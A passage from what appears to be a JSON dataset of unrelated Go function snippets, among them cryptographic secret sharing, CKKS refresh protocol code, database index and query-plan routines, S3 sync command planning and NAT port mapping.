&servPub3, nil)\\n\\t\\t\\t<-call1.Done\\n\\t\\t\\t<-call2.Done\\n\\t\\t\\t<-call3.Done\\n\\t\\t\\tmasks[i] = MarshalPoint(c.g.Point().Mul(secret1, UnmarshalPoint(c.g, servPub1)))\\n\\t\\t\\t// c.masks[i] = make([]byte, SecretSize)\\n\\t\\t\\t// c.masks[i][c.id] = 1\\n\\t\\t\\tsecrets[i] = MarshalPoint(c.g.Point().Mul(secret2, UnmarshalPoint(c.g, servPub2)))\\n\\t\\t\\t//secrets[i] = make([]byte, SecretSize)\\n\\t\\t\\tc.ephKeys[i] = UnmarshalPoint(c.suite, servPub3)\\n\\t\\t}(i, rpcServer, cs1, cs2)\\n\\t}\\n\\twg.Wait()\\n\\n\\tfor r := range c.secretss {\\n\\t\\tfor i := range c.secretss[r] {\\n\\t\\t\\tif r == 0 {\\n\\t\\t\\t\\tsha3.ShakeSum256(c.secretss[r][i], secrets[i])\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tsha3.ShakeSum256(c.secretss[r][i], c.secretss[r-1][i])\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\tfor r := range c.maskss {\\n\\t\\tfor i := range c.maskss[r] {\\n\\t\\t\\tif r == 0 {\\n\\t\\t\\t\\tsha3.ShakeSum256(c.maskss[r][i], masks[i])\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tsha3.ShakeSum256(c.maskss[r][i], c.maskss[r-1][i])\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n}\",\n \"func (scl *SimpleConfigurationLayer) SetSharedConfigurationFile(sharedConfigurationFile *string) {\\n\\tscl.SharedConfigurationFile = sharedConfigurationFile\\n}\",\n \"func Share(\\n\\ttrx storage.Transaction,\\n\\tpreviousTxId merkle.Digest,\\n\\ttransferTxId merkle.Digest,\\n\\ttransferBlockNumber uint64,\\n\\tcurrentOwner *account.Account,\\n\\tbalance uint64,\\n) {\\n\\n\\t// ensure single threaded\\n\\ttoLock.Lock()\\n\\tdefer toLock.Unlock()\\n\\n\\t// delete current ownership\\n\\ttransfer(trx, previousTxId, transferTxId, transferBlockNumber, currentOwner, nil, balance)\\n}\",\n \"func (q *Queue) SetIndexed(repoName string, opts IndexOptions, state indexState) {\\n\\tq.mu.Lock()\\n\\titem := q.get(repoName)\\n\\titem.setIndexState(state)\\n\\tif state != indexStateFail {\\n\\t\\titem.indexed = reflect.DeepEqual(opts, item.opts)\\n\\t}\\n\\tif item.heapIdx >= 0 {\\n\\t\\t// We only update the position in the queue, never add it.\\n\\t\\theap.Fix(&q.pq, item.heapIdx)\\n\\t}\\n\\tq.mu.Unlock()\\n}\",\n \"func (gb *CurrentGrantBuilder) Share(n string) GrantExecutable {\\n\\treturn &CurrentGrantExecutable{\\n\\t\\tgrantName: gb.qualifiedName,\\n\\t\\tgrantType: gb.grantType,\\n\\t\\tgranteeName: n,\\n\\t\\tgranteeType: shareType,\\n\\t}\\n}\",\n \"func setMppOrBatchCopForTableScan(curPlan PhysicalPlan) {\\n\\tif ts, ok := curPlan.(*PhysicalTableScan); ok {\\n\\t\\tts.IsMPPOrBatchCop = true\\n\\t}\\n\\tchildren := curPlan.Children()\\n\\tfor _, child := range children {\\n\\t\\tsetMppOrBatchCopForTableScan(child)\\n\\t}\\n}\",\n \"func TestPGOSingleIndex(t *testing.T) {\\n\\tfor _, tc := range []struct {\\n\\t\\toriginalIndex int\\n\\t}{{\\n\\t\\t// The `testdata/pgo/inline/inline_hot.pprof` file is a standard CPU\\n\\t\\t// profile as the runtime would generate. The 0 index contains the\\n\\t\\t// value-type samples and value-unit count. The 1 index contains the\\n\\t\\t// value-type cpu and value-unit nanoseconds. These tests ensure that\\n\\t\\t// the compiler can work with profiles that only have a single index,\\n\\t\\t// but are either samples count or CPU nanoseconds.\\n\\t\\toriginalIndex: 0,\\n\\t}, {\\n\\t\\toriginalIndex: 1,\\n\\t}} {\\n\\t\\tt.Run(fmt.Sprintf(\\\"originalIndex=%d\\\", tc.originalIndex), func(t *testing.T) {\\n\\t\\t\\twd, err := os.Getwd()\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tt.Fatalf(\\\"error getting wd: %v\\\", err)\\n\\t\\t\\t}\\n\\t\\t\\tsrcDir := filepath.Join(wd, \\\"testdata/pgo/inline\\\")\\n\\n\\t\\t\\t// Copy the module to a scratch location so we can add a go.mod.\\n\\t\\t\\tdir := t.TempDir()\\n\\n\\t\\t\\toriginalPprofFile, err := os.Open(filepath.Join(srcDir, \\\"inline_hot.pprof\\\"))\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tt.Fatalf(\\\"error opening inline_hot.pprof: %v\\\", err)\\n\\t\\t\\t}\\n\\t\\t\\tdefer originalPprofFile.Close()\\n\\n\\t\\t\\tp, err := profile.Parse(originalPprofFile)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tt.Fatalf(\\\"error parsing inline_hot.pprof: %v\\\", err)\\n\\t\\t\\t}\\n\\n\\t\\t\\t// Move the samples count value-type to the 0 index.\\n\\t\\t\\tp.SampleType = []*profile.ValueType{p.SampleType[tc.originalIndex]}\\n\\n\\t\\t\\t// Ensure we only have a single set of sample values.\\n\\t\\t\\tfor _, s := range p.Sample {\\n\\t\\t\\t\\ts.Value = []int64{s.Value[tc.originalIndex]}\\n\\t\\t\\t}\\n\\n\\t\\t\\tmodifiedPprofFile, err := os.Create(filepath.Join(dir, \\\"inline_hot.pprof\\\"))\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tt.Fatalf(\\\"error creating inline_hot.pprof: %v\\\", err)\\n\\t\\t\\t}\\n\\t\\t\\tdefer modifiedPprofFile.Close()\\n\\n\\t\\t\\tif err := p.Write(modifiedPprofFile); err != nil {\\n\\t\\t\\t\\tt.Fatalf(\\\"error writing inline_hot.pprof: %v\\\", err)\\n\\t\\t\\t}\\n\\n\\t\\t\\tfor _, file := range []string{\\\"inline_hot.go\\\", \\\"inline_hot_test.go\\\"} {\\n\\t\\t\\t\\tif err := copyFile(filepath.Join(dir, file), filepath.Join(srcDir, file)); err != nil {\\n\\t\\t\\t\\t\\tt.Fatalf(\\\"error copying %s: %v\\\", file, err)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\n\\t\\t\\ttestPGOIntendedInlining(t, dir)\\n\\t\\t})\\n\\t}\\n}\",\n \"func (obj *Device) SetClipPlane(index uint32, plane [4]float32) Error {\\n\\tret, _, _ := syscall.Syscall(\\n\\t\\tobj.vtbl.SetClipPlane,\\n\\t\\t3,\\n\\t\\tuintptr(unsafe.Pointer(obj)),\\n\\t\\tuintptr(index),\\n\\t\\tuintptr(unsafe.Pointer(&plane[0])),\\n\\t)\\n\\treturn toErr(ret)\\n}\",\n \"func PrepareIndex(creators map[string]Creator, cfg Config, games []GameSource) error {\\n\\tindexPath := cfg.Filepath\\n\\tindexFile, err := os.Stat(indexPath)\\n\\tif !os.IsNotExist(err) && err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tif indexFile != nil {\\n\\t\\terr = os.RemoveAll(indexPath)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t}\\n\\n\\tif creator, ok := creators[cfg.Variant]; ok {\\n\\t\\terr = creator.CreateIndex(indexPath, games)\\n\\t} else {\\n\\t\\terr = fmt.Errorf(\\\"Creator not found for the config\\\")\\n\\t}\\n\\treturn err\\n}\",\n \"func ResetBoltDBIndexClientWithShipper() {\\n\\tif boltDBIndexClientWithShipper == nil {\\n\\t\\treturn\\n\\t}\\n\\tboltDBIndexClientWithShipper.Stop()\\n\\tboltDBIndexClientWithShipper = nil\\n}\",\n \"func (refreshProtocol *RefreshProtocol) GenShares(sk *ring.Poly, levelStart, nParties int, ciphertext *ckks.Ciphertext, targetScale float64, crs *ring.Poly, shareDecrypt RefreshShareDecrypt, shareRecrypt RefreshShareRecrypt) {\\n\\n\\tringQ := refreshProtocol.dckksContext.ringQ\\n\\tsigma := refreshProtocol.dckksContext.params.Sigma()\\n\\n\\tbound := ring.NewUint(ringQ.Modulus[0])\\n\\tfor i := 1; i < levelStart+1; i++ {\\n\\t\\tbound.Mul(bound, ring.NewUint(ringQ.Modulus[i]))\\n\\t}\\n\\n\\tbound.Quo(bound, ring.NewUint(uint64(2*nParties)))\\n\\tboundHalf := new(big.Int).Rsh(bound, 1)\\n\\n\\tvar sign int\\n\\tfor i := range refreshProtocol.maskBigint {\\n\\t\\trefreshProtocol.maskBigint[i] = ring.RandInt(bound)\\n\\t\\tsign = refreshProtocol.maskBigint[i].Cmp(boundHalf)\\n\\t\\tif sign == 1 || sign == 0 {\\n\\t\\t\\trefreshProtocol.maskBigint[i].Sub(refreshProtocol.maskBigint[i], bound)\\n\\t\\t}\\n\\t}\\n\\n\\t// h0 = mask (at level min)\\n\\tringQ.SetCoefficientsBigintLvl(levelStart, refreshProtocol.maskBigint, shareDecrypt)\\n\\n\\tinputScaleFlo := ring.NewFloat(ciphertext.Scale(), 256)\\n\\toutputScaleFlo := ring.NewFloat(targetScale, 256)\\n\\n\\tinputScaleInt := new(big.Int)\\n\\toutputScaleInt := new(big.Int)\\n\\n\\tinputScaleFlo.Int(inputScaleInt)\\n\\toutputScaleFlo.Int(outputScaleInt)\\n\\n\\t// Scales the mask by the ratio between the two scales\\n\\tfor i := range refreshProtocol.maskBigint {\\n\\t\\trefreshProtocol.maskBigint[i].Mul(refreshProtocol.maskBigint[i], outputScaleInt)\\n\\t\\trefreshProtocol.maskBigint[i].Quo(refreshProtocol.maskBigint[i], inputScaleInt)\\n\\t}\\n\\n\\t// h1 = mask (at level max)\\n\\tringQ.SetCoefficientsBigint(refreshProtocol.maskBigint, shareRecrypt)\\n\\n\\tfor i := range refreshProtocol.maskBigint {\\n\\t\\trefreshProtocol.maskBigint[i].SetUint64(0)\\n\\t}\\n\\n\\tringQ.NTTLvl(levelStart, shareDecrypt, shareDecrypt)\\n\\tringQ.NTT(shareRecrypt, shareRecrypt)\\n\\n\\t// h0 = sk*c1 + mask\\n\\tringQ.MulCoeffsMontgomeryAndAddLvl(levelStart, sk, ciphertext.Value()[1], shareDecrypt)\\n\\n\\t// h1 = sk*a + mask\\n\\tringQ.MulCoeffsMontgomeryAndAdd(sk, crs, shareRecrypt)\\n\\n\\t// h0 = sk*c1 + mask + e0\\n\\trefreshProtocol.gaussianSampler.ReadLvl(levelStart, refreshProtocol.tmp, ringQ, sigma, int(6*sigma))\\n\\tringQ.NTTLvl(levelStart, refreshProtocol.tmp, refreshProtocol.tmp)\\n\\tringQ.AddLvl(levelStart, shareDecrypt, refreshProtocol.tmp, shareDecrypt)\\n\\n\\t// h1 = sk*a + mask + e1\\n\\trefreshProtocol.gaussianSampler.Read(refreshProtocol.tmp, ringQ, sigma, int(6*sigma))\\n\\tringQ.NTT(refreshProtocol.tmp, refreshProtocol.tmp)\\n\\tringQ.Add(shareRecrypt, refreshProtocol.tmp, shareRecrypt)\\n\\n\\t// h1 = -sk*c1 - mask - e0\\n\\tringQ.Neg(shareRecrypt, shareRecrypt)\\n\\n\\trefreshProtocol.tmp.Zero()\\n}\",\n \"func optimizePlan(plan logicalPlan) {\\n\\tfor _, lp := range plan.Inputs() {\\n\\t\\toptimizePlan(lp)\\n\\t}\\n\\n\\tthis, ok := plan.(*simpleProjection)\\n\\tif !ok {\\n\\t\\treturn\\n\\t}\\n\\n\\tinput, ok := this.input.(*simpleProjection)\\n\\tif !ok {\\n\\t\\treturn\\n\\t}\\n\\n\\tfor i, col := range this.eSimpleProj.Cols {\\n\\t\\tthis.eSimpleProj.Cols[i] = input.eSimpleProj.Cols[col]\\n\\t}\\n\\tthis.input = input.input\\n}\",\n \"func (d UserData) SetShare(value bool) m.UserData {\\n\\td.ModelData.Set(models.NewFieldName(\\\"Share\\\", \\\"share\\\"), value)\\n\\treturn d\\n}\",\n \"func (m *Group) SetPlanner(value PlannerGroupable)() {\\n m.planner = value\\n}\",\n \"func (op *Options) ShareClient(share bool) *Options {\\n\\top.optFuncs = append(op.optFuncs, func(t *T) {\\n\\t\\tt.shareClient = &share\\n\\t})\\n\\treturn op\\n}\",\n \"func (w *worker) addTableIndex(t table.Table, reorgInfo *reorgInfo) error {\\n\\t// TODO: Support typeAddIndexMergeTmpWorker.\\n\\tif reorgInfo.Job.ReorgMeta.IsDistReorg && !reorgInfo.mergingTmpIdx {\\n\\t\\tif reorgInfo.ReorgMeta.ReorgTp == model.ReorgTypeLitMerge {\\n\\t\\t\\terr := w.executeDistGlobalTask(reorgInfo)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn err\\n\\t\\t\\t}\\n\\t\\t\\tindexInfo := model.FindIndexInfoByID(t.Meta().Indices, reorgInfo.currElement.ID)\\n\\t\\t\\tif indexInfo == nil {\\n\\t\\t\\t\\treturn errors.New(\\\"unexpected error, can't find index info\\\")\\n\\t\\t\\t}\\n\\t\\t\\tif indexInfo.Unique {\\n\\t\\t\\t\\tctx := logutil.WithCategory(w.ctx, \\\"ddl-ingest\\\")\\n\\t\\t\\t\\tbc, err := ingest.LitBackCtxMgr.Register(ctx, indexInfo.Unique, reorgInfo.ID, nil)\\n\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\treturn err\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tdefer ingest.LitBackCtxMgr.Unregister(reorgInfo.ID)\\n\\t\\t\\t\\treturn bc.CollectRemoteDuplicateRows(indexInfo.ID, t)\\n\\t\\t\\t}\\n\\t\\t\\treturn nil\\n\\t\\t}\\n\\t}\\n\\n\\tvar err error\\n\\tif tbl, ok := t.(table.PartitionedTable); ok {\\n\\t\\tvar finish bool\\n\\t\\tfor !finish {\\n\\t\\t\\tp := tbl.GetPartition(reorgInfo.PhysicalTableID)\\n\\t\\t\\tif p == nil {\\n\\t\\t\\t\\treturn dbterror.ErrCancelledDDLJob.GenWithStack(\\\"Can not find partition id %d for table %d\\\", reorgInfo.PhysicalTableID, t.Meta().ID)\\n\\t\\t\\t}\\n\\t\\t\\terr = w.addPhysicalTableIndex(p, reorgInfo)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tbreak\\n\\t\\t\\t}\\n\\t\\t\\tw.ddlCtx.mu.RLock()\\n\\t\\t\\tw.ddlCtx.mu.hook.OnUpdateReorgInfo(reorgInfo.Job, reorgInfo.PhysicalTableID)\\n\\t\\t\\tw.ddlCtx.mu.RUnlock()\\n\\n\\t\\t\\tfinish, err = updateReorgInfo(w.sessPool, tbl, reorgInfo)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn errors.Trace(err)\\n\\t\\t\\t}\\n\\t\\t\\t// Every time we finish a partition, we update the progress of the job.\\n\\t\\t\\tif rc := w.getReorgCtx(reorgInfo.Job.ID); rc != nil {\\n\\t\\t\\t\\treorgInfo.Job.SetRowCount(rc.getRowCount())\\n\\t\\t\\t}\\n\\t\\t}\\n\\t} else {\\n\\t\\t//nolint:forcetypeassert\\n\\t\\tphyTbl := t.(table.PhysicalTable)\\n\\t\\terr = w.addPhysicalTableIndex(phyTbl, reorgInfo)\\n\\t}\\n\\treturn errors.Trace(err)\\n}\",\n \"func UseIndex(designDocument, name string) Parameter {\\n\\treturn func(pa Parameterizable) {\\n\\t\\tif name == \\\"\\\" {\\n\\t\\t\\tpa.SetParameter(\\\"use_index\\\", designDocument)\\n\\t\\t} else {\\n\\t\\t\\tpa.SetParameter(\\\"use_index\\\", []string{designDocument, name})\\n\\t\\t}\\n\\t}\\n}\",\n \"func (s Sync) planRun(\\n\\tc *cli.Context,\\n\\tonlySource, onlyDest chan *url.URL,\\n\\tcommon chan *ObjectPair,\\n\\tdsturl *url.URL,\\n\\tstrategy SyncStrategy,\\n\\tw io.WriteCloser,\\n\\tisBatch bool,\\n) {\\n\\tdefer w.Close()\\n\\n\\t// Always use raw mode since sync command generates commands\\n\\t// from raw S3 objects. Otherwise, generated copy command will\\n\\t// try to expand given source.\\n\\tdefaultFlags := map[string]interface{}{\\n\\t\\t\\\"raw\\\": true,\\n\\t}\\n\\n\\t// it should wait until both of the child goroutines for onlySource and common channels\\n\\t// are completed before closing the WriteCloser w to ensure that all URLs are processed.\\n\\tvar wg sync.WaitGroup\\n\\n\\t// only in source\\n\\twg.Add(1)\\n\\tgo func() {\\n\\t\\tdefer wg.Done()\\n\\t\\tfor srcurl := range onlySource {\\n\\t\\t\\tcurDestURL := generateDestinationURL(srcurl, dsturl, isBatch)\\n\\t\\t\\tcommand, err := generateCommand(c, \\\"cp\\\", defaultFlags, srcurl, curDestURL)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tprintDebug(s.op, err, srcurl, curDestURL)\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\t}\\n\\t\\t\\tfmt.Fprintln(w, command)\\n\\t\\t}\\n\\t}()\\n\\n\\t// both in source and destination\\n\\twg.Add(1)\\n\\tgo func() {\\n\\t\\tdefer wg.Done()\\n\\t\\tfor commonObject := range common {\\n\\t\\t\\tsourceObject, destObject := commonObject.src, commonObject.dst\\n\\t\\t\\tcurSourceURL, curDestURL := sourceObject.URL, destObject.URL\\n\\t\\t\\terr := strategy.ShouldSync(sourceObject, destObject) // check if object should be copied.\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tprintDebug(s.op, err, curSourceURL, curDestURL)\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\t}\\n\\n\\t\\t\\tcommand, err := generateCommand(c, \\\"cp\\\", defaultFlags, curSourceURL, curDestURL)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tprintDebug(s.op, err, curSourceURL, curDestURL)\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\t}\\n\\t\\t\\tfmt.Fprintln(w, command)\\n\\t\\t}\\n\\t}()\\n\\n\\t// only in destination\\n\\twg.Add(1)\\n\\tgo func() {\\n\\t\\tdefer wg.Done()\\n\\t\\tif s.delete {\\n\\t\\t\\t// unfortunately we need to read them all!\\n\\t\\t\\t// or rewrite generateCommand function?\\n\\t\\t\\tdstURLs := make([]*url.URL, 0, extsortChunkSize)\\n\\n\\t\\t\\tfor d := range onlyDest {\\n\\t\\t\\t\\tdstURLs = append(dstURLs, d)\\n\\t\\t\\t}\\n\\n\\t\\t\\tif len(dstURLs) == 0 {\\n\\t\\t\\t\\treturn\\n\\t\\t\\t}\\n\\n\\t\\t\\tcommand, err := generateCommand(c, \\\"rm\\\", defaultFlags, dstURLs...)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tprintDebug(s.op, err, dstURLs...)\\n\\t\\t\\t\\treturn\\n\\t\\t\\t}\\n\\t\\t\\tfmt.Fprintln(w, command)\\n\\t\\t} else {\\n\\t\\t\\t// we only need to consume them from the channel so that rest of the objects\\n\\t\\t\\t// can be sent to channel.\\n\\t\\t\\tfor d := range onlyDest {\\n\\t\\t\\t\\t_ = d\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}()\\n\\n\\twg.Wait()\\n}\",\n \"func (rb *ShardsRecordBuilder) SegmentsIndexWriterMemory(segmentsindexwritermemory string) *ShardsRecordBuilder {\\n\\trb.v.SegmentsIndexWriterMemory = &segmentsindexwritermemory\\n\\treturn rb\\n}\",\n \"func RunShared(ctx context.Context, env subcommands.Env, command []string) error {\\n\\tctx, cancel := clock.WithTimeout(ctx, lib.DefaultCommandTimeout)\\n\\tdefer cancel()\\n\\n\\tlogging.Infof(ctx, \\\"[mmutex] Running command in SHARED mode: %s\\\", command)\\n\\treturn lib.RunShared(ctx, env, func(ctx context.Context) error {\\n\\t\\treturn runCommand(ctx, command)\\n\\t})\\n}\",\n \"func (c ConsistentHash) Plan(members map[string]sarama.ConsumerGroupMemberMetadata, topics map[string][]int32) (sarama.BalanceStrategyPlan, error) {\\n\\tplan := make(sarama.BalanceStrategyPlan)\\n\\tmembersList := make([]string, len(members))\\n\\ti := 0\\n\\tfor member := range members {\\n\\t\\tmembersList[i] = member\\n\\t\\ti++\\n\\t}\\n\\n\\tfor topic, partitions := range topics {\\n\\t\\tassignment := consistentHashTopic(membersList, partitions)\\n\\t\\tfor _, member := range membersList {\\n\\t\\t\\tif _, ok := plan[member]; !ok {\\n\\t\\t\\t\\tplan[member] = make(map[string][]int32)\\n\\t\\t\\t}\\n\\t\\t\\tplan[member][topic] = append(plan[member][topic], assignment[member]...)\\n\\t\\t}\\n\\t}\\n\\n\\treturn plan, nil\\n}\",\n \"func (l *Loader) SetAttrShared(i Sym, v bool) {\\n\\tif !l.IsExternal(i) {\\n\\t\\tpanic(fmt.Sprintf(\\\"tried to set shared attr on non-external symbol %d %s\\\", i, l.SymName(i)))\\n\\t}\\n\\tif v {\\n\\t\\tl.attrShared.Set(l.extIndex(i))\\n\\t} else {\\n\\t\\tl.attrShared.Unset(l.extIndex(i))\\n\\t}\\n}\",\n \"func (_Abi *AbiCaller) GuardianSetIndex(opts *bind.CallOpts) (uint32, error) {\\n\\tvar out []interface{}\\n\\terr := _Abi.contract.Call(opts, &out, \\\"guardian_set_index\\\")\\n\\n\\tif err != nil {\\n\\t\\treturn *new(uint32), err\\n\\t}\\n\\n\\tout0 := *abi.ConvertType(out[0], new(uint32)).(*uint32)\\n\\n\\treturn out0, err\\n\\n}\",\n \"func (m *List) SetSharepointIds(value SharepointIdsable)() {\\n m.sharepointIds = value\\n}\",\n \"func (oupq *OrgUnitPositionQuery) ForShare(opts ...sql.LockOption) *OrgUnitPositionQuery {\\n\\tif oupq.driver.Dialect() == dialect.Postgres {\\n\\t\\toupq.Unique(false)\\n\\t}\\n\\toupq.modifiers = append(oupq.modifiers, func(s *sql.Selector) {\\n\\t\\ts.ForShare(opts...)\\n\\t})\\n\\treturn oupq\\n}\",\n \"func (t *Table) SetGlobalTs(ts uint64) error {\\n\\tif _, err := t.indexFd.WriteAt(u64ToBytes(ts), 0); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif err := fileutil.Fsync(t.indexFd); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tt.globalTs = ts\\n\\treturn nil\\n}\",\n \"func dataframeResetIndex(_ *starlark.Thread, b *starlark.Builtin, args starlark.Tuple, kwargs []starlark.Tuple) (starlark.Value, error) {\\n\\tif err := starlark.UnpackArgs(\\\"reset_index\\\", args, kwargs); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tself := b.Receiver().(*DataFrame)\\n\\n\\tif self.index == nil {\\n\\t\\treturn self, nil\\n\\t}\\n\\n\\tnewColumns := append([]string{\\\"index\\\"}, self.columns.texts...)\\n\\tnewBody := make([]Series, 0, self.numCols())\\n\\n\\tnewBody = append(newBody, Series{which: typeObj, valObjs: self.index.texts})\\n\\tfor _, col := range self.body {\\n\\t\\tnewBody = append(newBody, col)\\n\\t}\\n\\n\\treturn &DataFrame{\\n\\t\\tcolumns: NewIndex(newColumns, \\\"\\\"),\\n\\t\\tbody: newBody,\\n\\t}, nil\\n}\",\n \"func (res *GitRes) SetAccess(dstIsPublic bool) error {\\n\\tmeta, err := res.GetMetaX()\\n\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tif meta.IsPublic == dstIsPublic {\\n\\t\\treturn nil\\n\\t}\\n\\n\\tsrcIdxGF, srcAppGF := res.GetPublicGitFile()\\n\\tdstIdx, dstApp := res.GetPrivateKeyPath()\\n\\n\\tif meta.IsPublic == false {\\n\\t\\tsrcIdxGF, srcAppGF = res.GetPrivateGitFile()\\n\\t\\tdstIdx, dstApp = res.GetPublicKeyPath()\\n\\t}\\n\\n\\tif err := srcAppGF.CopyTo(dstApp); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tif err := srcIdxGF.CopyTo(dstIdx); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tif derr2 := srcAppGF.Delete(); derr2 != nil {\\n\\t\\tlog.Error(derr2)\\n\\t}\\n\\n\\tif derr1 := srcIdxGF.Delete(); derr1 != nil {\\n\\t\\tlog.Error(derr1)\\n\\t}\\n\\n\\tidxLP, _ := res.GetFilePathInCache()\\n\\tos.Remove(idxLP)\\n\\t// os.Remove(appLP)\\n\\n\\treturn nil\\n}\",\n \"func (vq *VehicleQuery) ForShare(opts ...sql.LockOption) *VehicleQuery {\\n\\tif vq.driver.Dialect() == dialect.Postgres {\\n\\t\\tvq.Unique(false)\\n\\t}\\n\\tvq.modifiers = append(vq.modifiers, func(s *sql.Selector) {\\n\\t\\ts.ForShare(opts...)\\n\\t})\\n\\treturn vq\\n}\",\n \"func SetMapping(ctx context.Context, nat NAT, protocol string, extport, intport int, name string) error {\\n\\tif err := nat.addPortMapping(protocol, extport, intport, name, mapTimeout); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tgo func() {\\n\\n\\t\\trefresh := time.NewTimer(mapUpdateInterval)\\n\\t\\tdefer func() {\\n\\t\\t\\trefresh.Stop()\\n\\t\\t\\tnat.deletePortMapping(protocol, intport)\\n\\t\\t}()\\n\\n\\t\\tfor {\\n\\t\\t\\tselect {\\n\\t\\t\\tcase <-ctx.Done():\\n\\t\\t\\t\\treturn\\n\\t\\t\\tcase <-refresh.C:\\n\\t\\t\\t\\tif err := nat.addPortMapping(protocol, extport, intport, name, mapTimeout); err != nil {\\n\\t\\t\\t\\t\\tlog.Fatal(err)\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\trefresh.Reset(mapUpdateInterval)\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t}()\\n\\n\\treturn nil\\n}\",\n \"func (o *ExtrasSavedFiltersListParams) SetShared(shared *string) {\\n\\to.Shared = shared\\n}\",\n \"func (bc *BulkCreate) SetBulkCreditSameday(f float64) *BulkCreate {\\n\\tbc.mutation.SetBulkCreditSameday(f)\\n\\treturn bc\\n}\",\n \"func Set(data []uintptr, bitIdx int) {\\n\\t// Unsigned division by a power-of-2 constant compiles to a right-shift,\\n\\t// while signed does not due to negative nastiness.\\n\\tdata[uint(bitIdx)/BitsPerWord] |= 1 << (uint(bitIdx) % BitsPerWord)\\n}\",\n \"func (d *OneToOne) Set(data GenericDataType) {\\n\\tidx := d.writeIndex % uint64(len(d.buffer))\\n\\n\\tnewBucket := &bucket{\\n\\t\\tdata: data,\\n\\t\\tseq: d.writeIndex,\\n\\t}\\n\\td.writeIndex++\\n\\n\\tatomic.StorePointer(&d.buffer[idx], unsafe.Pointer(newBucket))\\n}\",\n \"func (o *Offer) SetPlanByID(plan Plan) {\\n\\tfor i, p := range o.Definition.Plans {\\n\\t\\tif p.ID == plan.ID {\\n\\t\\t\\to.Definition.Plans[i] = plan\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t}\\n\\to.Definition.Plans = append(o.Definition.Plans, plan)\\n}\",\n \"func (sa *SnapshotArray) Set(index int, val int) {\\n\\tsa.current[index] = val\\n}\",\n \"func (m *User) SetAssignedPlans(value []AssignedPlanable)() {\\n m.assignedPlans = value\\n}\",\n \"func (n Nodes) SetIndex(i int, node *Node)\",\n \"func Share(mod *big.Int, nPieces int, secret *big.Int) []*big.Int {\\n\\tif nPieces == 0 {\\n\\t\\tpanic(\\\"Number of shares must be at least 1\\\")\\n\\t} else if nPieces == 1 {\\n\\t\\treturn []*big.Int{secret}\\n\\t}\\n\\n\\tout := make([]*big.Int, nPieces)\\n\\n\\tacc := new(big.Int)\\n\\tfor i := 0; i < nPieces-1; i++ {\\n\\t\\tout[i] = utils.RandInt(mod)\\n\\n\\t\\tacc.Add(acc, out[i])\\n\\t}\\n\\n\\tacc.Sub(secret, acc)\\n\\tacc.Mod(acc, mod)\\n\\tout[nPieces-1] = acc\\n\\n\\treturn out\\n}\",\n \"func (p *PhysicalIndexReader) SetChildren(children ...PhysicalPlan) {\\n\\tp.indexPlan = children[0]\\n\\tp.SetSchema(nil)\\n}\",\n \"func (sv sharedValues) set(source, key string, value interface{}) {\\n\\tprev := sv[key]\\n\\tsv[key] = make(map[string]interface{})\\n\\tfor s, v := range prev {\\n\\t\\tsv[key][s] = v\\n\\t}\\n\\n\\tsv[key][source] = value\\n}\",\n \"func SetFileIndex(ctx *RequestContext, orm *xorm.Engine, params martini.Params) {\\n\\tdevID := params[\\\"device_id\\\"]\\n\\tisClean, _ := strconv.ParseBool(\\\"clean\\\")\\n\\n\\tvar files []*indexer.FileInfo\\n\\terr := json.NewDecoder(ctx.req.Body).Decode(&files)\\n\\tif err != nil {\\n\\t\\tctx.Error(400, err)\\n\\t\\treturn\\n\\t}\\n\\n\\tif isClean {\\n\\t\\t_, err := orm.Where(\\\"device_id = ?\\\", devID).Delete(&indexer.FileInfo{})\\n\\t\\tif err != nil {\\n\\t\\t\\tctx.Error(500, err)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t}\\n\\n\\tinsrt := []interface{}{}\\n\\tfor _, file := range files {\\n\\t\\tfile.DeviceID = devID\\n\\t\\tinsrt = append(insrt, file)\\n\\t}\\n\\n\\tn, err := orm.Insert(insrt...)\\n\\tif err != nil {\\n\\t\\tctx.Error(500, err)\\n\\t\\treturn\\n\\t}\\n\\n\\tctx.Message(201, n)\\n}\",\n \"func (r *ReportTaskRequest) SetPlanId(planId string) {\\n r.PlanId = &planId\\n}\",\n \"func (mmSetIndex *mIndexModifierMockSetIndex) Set(f func(ctx context.Context, pn insolar.PulseNumber, index record.Index) (err error)) *IndexModifierMock {\\n\\tif mmSetIndex.defaultExpectation != nil {\\n\\t\\tmmSetIndex.mock.t.Fatalf(\\\"Default expectation is already set for the IndexModifier.SetIndex method\\\")\\n\\t}\\n\\n\\tif len(mmSetIndex.expectations) > 0 {\\n\\t\\tmmSetIndex.mock.t.Fatalf(\\\"Some expectations are already set for the IndexModifier.SetIndex 